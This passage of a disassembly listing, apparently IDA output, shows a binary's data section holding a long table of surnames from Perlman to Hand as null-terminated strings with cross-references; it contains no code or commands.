aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E9C4o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E9C0o
		align 10h
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E9BCo
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E9B8o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E9B4o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E9B0o
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E9ACo
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E9A8o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E9A4o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E9A0o
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E99Co
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E998o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E994o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E990o
		align 10h
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E98Co
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E988o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E984o
		align 10h
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E980o
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E97Co
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E978o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E974o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E970o
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E96Co
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E968o
		align 10h
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E964o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E960o
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E95Co
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E958o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E954o
		align 10h
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E950o
		align 10h
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E94Co
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E948o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E944o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E940o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E93Co
		align 10h
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E938o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E934o
		align 10h
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E930o
aOray		db 'Oray',0             ; DATA XREF: ___:0042E92Co
		align 10h
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E928o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E924o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E920o
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E91Co
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E918o
		align 10h
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E914o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E910o
		align 10h
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E90Co
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E908o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E904o
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E900o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E8FCo
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E8F8o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E8F4o
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E8F0o
		align 10h
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E8ECo
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E8E8o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E8E4o
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E8E0o
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E8DCo
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E8D8o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E8D4o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E8D0o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E8CCo
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E8C8o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E8C4o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E8C0o
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E8BCo
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E8B8o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E8B4o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E8B0o
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E8ACo
		align 10h
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E8A8o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E8A4o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E8A0o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E89Co
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E898o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E894o
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E890o
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E88Co
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E888o
		align 10h
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E884o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E880o
		align 10h
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E87Co
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E878o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E874o
		align 10h
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E870o
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E86Co
		align 10h
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E868o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E864o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E860o
		align 10h
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E85Co
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E858o
		align 4
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E854o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E850o
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E84Co
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E848o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E844o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E840o
		align 10h
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E83Co
aMini		db 'Mini',0             ; DATA XREF: ___:0042E838o
		align 4
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E834o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E830o
		align 4
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E82Co
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E828o
		align 4
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E824o
		align 10h
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E820o
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E81Co
		align 4
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E818o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E814o
		align 4
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E810o
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E80Co
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E808o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E804o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E800o
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E7FCo
		align 10h
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E7F8o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E7F4o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E7F0o
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E7ECo
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E7E8o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E7E4o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E7E0o
		align 10h
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E7DCo
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E7D8o
		align 4
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E7D4o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E7D0o
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E7CCo
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E7C8o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E7C4o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E7C0o
		align 10h
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E7BCo
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E7B8o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E7B4o
		align 10h
aMazzali	db 'Mazzali',0          ; DATA XREF: ___:0042E7B0o
aMay		db 'May',0              ; DATA XREF: ___:0042E7ACo
aMauzy		db 'Mauzy',0            ; DATA XREF: ___:0042E7A8o
		align 4
aMattson	db 'Mattson',0          ; DATA XREF: ___:0042E7A4o
aMatsukata	db 'Matsukata',0        ; DATA XREF: ___:0042E7A0o
		align 4
aMatarazzo	db 'Matarazzo',0        ; DATA XREF: ___:0042E79Co
		align 4
aMatalka	db 'Matalka',0          ; DATA XREF: ___:0042E798o
aMass		db 'Mass',0             ; DATA XREF: ___:0042E794o
		align 4
aMarubini	db 'Marubini',0         ; DATA XREF: ___:0042E790o
		align 10h
aMarton		db 'Marton',0           ; DATA XREF: ___:0042E78Co
		align 4
aMartochio	db 'Martochio',0        ; DATA XREF: ___:0042E788o
		align 4
aMartinez	db 'Martinez',0         ; DATA XREF: ___:0042E784o
		align 10h
aMarques	db 'Marques',0          ; DATA XREF: ___:0042E780o
aMargetts	db 'Margetts',0         ; DATA XREF: ___:0042E77Co
		align 4
aMargalit	db 'Margalit',0         ; DATA XREF: ___:0042E778o
		align 10h
aMarcus		db 'Marcus',0           ; DATA XREF: ___:0042E774o
		align 4
aMarchbanks	db 'Marchbanks',0       ; DATA XREF: ___:0042E770o
		align 4
aMarch		db 'March',0            ; DATA XREF: ___:0042E76Co
		align 4
aMantovan	db 'Mantovan',0         ; DATA XREF: ___:0042E768o
		align 4
aManganiello	db 'Manganiello',0      ; DATA XREF: ___:0042E764o
aMandel		db 'Mandel',0           ; DATA XREF: ___:0042E760o
		align 4
aManalis	db 'Manalis',0          ; DATA XREF: ___:0042E75Co
aMalova		db 'Malova',0           ; DATA XREF: ___:0042E758o
		align 4
aMaller		db 'Maller',0           ; DATA XREF: ___:0042E754o
		align 4
aMalatesta	db 'Malatesta',0        ; DATA XREF: ___:0042E750o
		align 10h
aMaisano	db 'Maisano',0          ; DATA XREF: ___:0042E74Co
aMaineHershey	db 'Maine-Hershey',0    ; DATA XREF: ___:0042E748o
		align 4
aMaier		db 'Maier',0            ; DATA XREF: ___:0042E744o
		align 10h
aMahony		db 'Mahony',0           ; DATA XREF: ___:0042E740o
		align 4
aMaggio		db 'Maggio',0           ; DATA XREF: ___:0042E73Co
		align 10h
aMadigan	db 'Madigan',0          ; DATA XREF: ___:0042E738o
aMacy		db 'Macy',0             ; DATA XREF: ___:0042E734o
		align 10h
aMacmillan	db 'MacMillan',0        ; DATA XREF: ___:0042E730o
		align 4
aMackenney	db 'Mackenney',0        ; DATA XREF: ___:0042E72Co
		align 4
aMacintyre	db 'Macintyre',0        ; DATA XREF: ___:0042E728o
		align 4
aMaceachern	db 'Maceachern',0       ; DATA XREF: ___:0042E724o
		align 10h
aMacdonald	db 'Macdonald',0        ; DATA XREF: ___:0042E720o
		align 4
aMaccormac	db 'Maccormac',0        ; DATA XREF: ___:0042E71Co
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E718o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E714o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E710o
		align 10h
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E70Co
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E708o
		align 10h
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E704o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E700o
		align 10h
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E6FCo
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E6F8o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E6F4o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E6F0o
		align 10h
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E6ECo
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E6E8o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E6E4o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E6E0o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E6DCo
		align 10h
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E6D8o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E6D4o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E6D0o
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E6CCo
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E6C8o
		align 10h
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E6C4o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E6C0o
		align 10h
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E6BCo
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E6B8o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E6B4o
		align 10h
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E6B0o
aLine		db 'Line',0             ; DATA XREF: ___:0042E6ACo
		align 10h
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E6A8o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E6A4o
		align 10h
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E6A0o
aLim		db 'Lim',0              ; DATA XREF: ___:0042E69Co
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E698o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E694o
		align 10h
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E690o
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E68Co
		align 10h
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E688o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E684o
		align 10h
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E680o
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E67Co
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E678o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E674o
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E670o
		align 10h
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E66Co
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E668o
		align 10h
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E664o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E660o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E65Co
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E658o
		align 10h
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E654o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E650o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E64Co
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E648o
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E644o
		align 10h
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E640o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E63Co
aLa		db 'La',0               ; DATA XREF: ___:0042E638o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E634o
		align 10h
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E630o
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E62Co
		align 10h
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E628o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E624o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E620o
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E61Co
		align 10h
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E618o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E614o
		align 10h
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E610o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E60Co
		align 10h
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E608o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E604o
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:0042E600o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E5FCo
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E5F8o
		align 10h
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E5F4o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E5F0o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E5ECo
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E5E8o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E5E4o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E5E0o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E5DCo
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E5D8o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E5D4o
		align 10h
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E5D0o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E5CCo
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E5C8o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E5C4o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E5C0o
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E5BCo
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E5B8o
		align 10h
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E5B4o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E5B0o
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E5ACo
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E5A8o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E5A4o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E5A0o
		align 10h
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E59Co
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E598o
		align 10h
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E594o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E590o
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E58Co
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E588o
		align 10h
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E584o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E580o
		align 10h
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E57Co
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E578o
		align 10h
aKee		db 'Kee',0              ; DATA XREF: ___:0042E574o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E570o
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E56Co
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E568o
		align 10h
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E564o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E560o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E55Co
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E558o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E554o
		align 10h
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E550o
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E54Co
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E548o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E544o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E540o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E53Co
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E538o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E534o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E530o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E52Co
		align 10h
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E528o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E524o
		align 10h
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E520o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E51Co
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E518o
		align 10h
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E514o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E510o
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E50Co
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E508o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E504o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E500o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E4FCo
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E4F8o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E4F4o
		align 10h
aJain		db 'Jain',0             ; DATA XREF: ___:0042E4F0o
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E4ECo
		align 10h
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E4E8o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E4E4o
		align 10h
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E4E0o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E4DCo
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E4D8o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E4D4o
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E4D0o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E4CCo
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E4C8o
		align 10h
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E4C4o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E4C0o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E4BCo
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E4B8o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E4B4o
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E4B0o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E4ACo
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E4A8o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E4A4o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E4A0o
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E49Co
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E498o
		align 10h
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E494o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E490o
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E48Co
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E488o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E484o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E480o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E47Co
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E478o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E474o
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E470o
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E46Co
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E468o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E464o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E460o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E45Co
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E458o
		align 10h
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E454o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E450o
		align 10h
aHock		db 'Hock',0             ; DATA XREF: ___:0042E44Co
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E448o
		align 10h
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E444o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E440o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:0042E43Co
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E438o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E434o
		align 10h
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E430o
aHester		db 'Hester',0           ; DATA XREF: ___:0042E42Co
		align 10h
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E428o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E424o
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E420o
		align 10h
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E41Co
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E418o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E414o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E410o
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E40Co
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E408o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E404o
		align 10h
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E400o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E3FCo
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E3F8o
		align 10h
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E3F4o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E3F0o
		align 10h
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E3ECo
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E3E8o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E3E4o
		align 10h
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E3E0o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E3DCo
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E3D8o
		align 10h
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E3D4o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E3D0o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E3CCo
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E3C8o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E3C4o
		align 4
